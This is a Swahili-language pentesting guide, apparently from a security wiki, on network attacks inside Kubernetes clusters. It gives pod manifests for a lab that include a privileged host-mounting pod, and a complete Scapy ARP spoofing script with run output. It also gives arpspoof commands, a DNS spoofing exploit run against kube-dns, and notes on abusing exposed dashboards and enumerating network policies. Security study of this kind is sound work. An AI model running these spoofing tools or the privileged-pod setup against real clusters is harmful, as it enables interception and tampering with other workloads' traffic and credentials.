Kubernetes Network Attacks

Reading time: 10 minutes

Introduction

Katika Kubernetes, inabainika kwamba tabia ya kawaida inaruhusu kuanzishwa kwa mawasiliano kati ya mashine zote zinazokaa kwenye nodi moja. Hii inatumika bila kujali tofauti za namespace. Mawasiliano haya yanafikia Layer 2 (Ethernet). Kwa hivyo, usanidi huu huweza kufichua mfumo kwa udhaifu. Kwa hakika, unafungua uwezekano wa konteina mbaya kutekeleza shambulio la ARP spoofing dhidi ya konteina nyingine zilizoko kwenye nodi hiyo hiyo. Wakati wa shambulio kama hilo, konteina mbaya inaweza kwa udanganyifu kukamata au kubadilisha trafiki ya mtandao inayokusudiwa kwa konteina nyingine.

Shambulio la ARP spoofing linahusisha mshambuliaji kutuma ujumbe wa ARP uliofanywa (Address Resolution Protocol) juu ya mtandao wa eneo la ndani. Hii inasababisha kuunganishwa kwa anwani ya MAC ya mshambuliaji na anwani ya IP ya kompyuta halali au seva kwenye mtandao. Baada ya kutekeleza shambulio kama hilo kwa mafanikio, mshambuliaji anaweza kukamata, kubadilisha, au hata kusitisha data inayosafirishwa. Shambulio linafanyika kwenye Layer 2 ya mfano wa OSI, ndiyo maana kuunganishwa kwa kawaida katika Kubernetes kwenye layer hii kunaibua wasiwasi wa usalama.

Katika hali hii, mashine 4 zitaundwa:

• ubuntu-pe: Mashine yenye mamlaka ya kutoroka hadi kwenye nodi na kuangalia metriki (haihitajiki kwa shambulio)
• ubuntu-attack: Konteina mbaya katika namespace ya kawaida
• ubuntu-victim: Mashine ya mwathirika katika namespace ya kube-system
• mysql: Mashine ya mwathirika katika namespace ya kawaida

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -

kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Msingi wa Mtandao wa Kubernetes

Ikiwa unataka maelezo zaidi kuhusu mada za mtandao zilizowasilishwa hapa, tembelea viungo.

ARP

Kwa ujumla, mtandao wa pod hadi pod ndani ya node upatikana kupitia daraja linalounganisha pods zote. Daraja hili linaitwa “cbr0”. (Baadhi ya plugins za mtandao zitafunga daraja zao wenyewe.) cbr0 pia inaweza kushughulikia ARP (Protokali ya Kutatua Anwani). Wakati pakiti inayokuja inafika cbr0, inaweza kutatua anwani ya MAC ya marudio kwa kutumia ARP.

Hali hii inaashiria kwamba, kwa kawaida, kila pod inayotembea katika node hiyo hiyo itakuwa na uwezo wa kuwasiliana na pod nyingine yoyote katika node hiyo hiyo (bila kujali namespace) katika kiwango cha ethernet (tabaka la 2).

DNS

Katika mazingira ya kubernetes kawaida utapata 1 (au zaidi) huduma za DNS zinazoendesha kawaida katika namespace ya kube-system:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

Katika taarifa ya awali unaweza kuona kitu cha kuvutia, IP ya huduma ni 10.96.0.10 lakini IP ya pod inayokimbia huduma ni 172.17.0.2.

Ikiwa utaangalia anwani ya DNS ndani ya pod yoyote utaona kitu kama hiki:

cat /etc/resolv.conf
nameserver 10.96.0.10

Hata hivyo, pod haijui jinsi ya kufika kwenye anwani hiyo kwa sababu pod range katika kesi hii ni 172.17.0.10/26.

Kwa hiyo, pod itatuma maombi ya DNS kwa anwani 10.96.0.10 ambayo yatakuwa yamefasiriwa na cbr0 kuenda 172.17.0.2.

ARP Spoofing katika pods katika Nodi Moja

Lengo letu ni kuchukua angalau mawasiliano kutoka kwa ubuntu-victim hadi mysql.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance

#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Kama ilivyotajwa tayari, ikiwa unafanya kompromi pod katika node moja ya pod ya DNS server, unaweza MitM kwa kutumia ARPSpoofing kwenye bridge na pod ya DNS na kubadilisha majibu yote ya DNS.

Una chombo na mafunzo mazuri ya kujaribu hii katika https://github.com/danielsagi/kube-dnsspoof/

Katika hali yetu, pakua chombo katika pod ya mshambuliaji na uunde faili inayoitwa hosts yenye domain unazotaka spoof kama:

cat hosts
google.com. 1.1.1.1

Fanya shambulio kwa mashine ya ubuntu-victim:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop

#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

DNS Spoofing kupitia coreDNS configmap

Mtumiaji mwenye ruhusa za kuandika juu ya configmap coredns katika eneo la kube-system anaweza kubadilisha majibu ya DNS ya klasta.

Angalia maelezo zaidi kuhusu shambulio hili katika:

{{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}}

Kutumia huduma za usimamizi wa kubernetes zilizofichuliwa

Huduma kama Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, na dashibodi ya Kubernetes mara nyingi zinafichuliwa ama kwa mtandao au ndani ya mtandao wa kubernetes. Mshambuliaji ambaye anafanikiwa kugundua jukwaa lolote linalotumika kusimamia kubernetes na kulifikia anaweza kulitumia kupata ufikiaji wa API ya kubernetes na kufanya vitendo kama kuunda pods mpya, kubadilisha zile zilizopo, au hata kuzifuta.

Kuorodhesha sera za mtandao wa kubernetes

Pata networkpolicies zilizowekwa:

kubectl get networkpolicies --all-namespaces

Pata sera za mtandao za Callico:

kubectl get globalnetworkpolicy --all-namespaces

Pata sera za mtandao za Cillium:

kubectl get ciliumnetworkpolicy --all-namespaces

Pata CRDs zingine zinazohusiana na sera zilizowekwa na nyongeza yako ya mtandao au suluhisho la usalama:

kubectl get crd | grep -i policy

Kukamata Trafiki

Chombo Mizu ni mtazamaji wa trafiki wa API rahisi lakini wenye nguvu kwa Kubernetes unaokuwezesha kuona mawasiliano yote ya API kati ya microservices ili kusaidia katika kutatua matatizo na kurekebisha makosa.
Itasakinisha wakala katika pods zilizochaguliwa na kukusanya taarifa zao za trafiki na kukonyesha kwenye seva ya wavuti. Hata hivyo, utahitaji ruhusa kubwa za K8s kwa hili (na si ya siri sana).

Marejeleo

• https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1
• https://blog.aquasec.com/dns-spoofing-kubernetes-clusters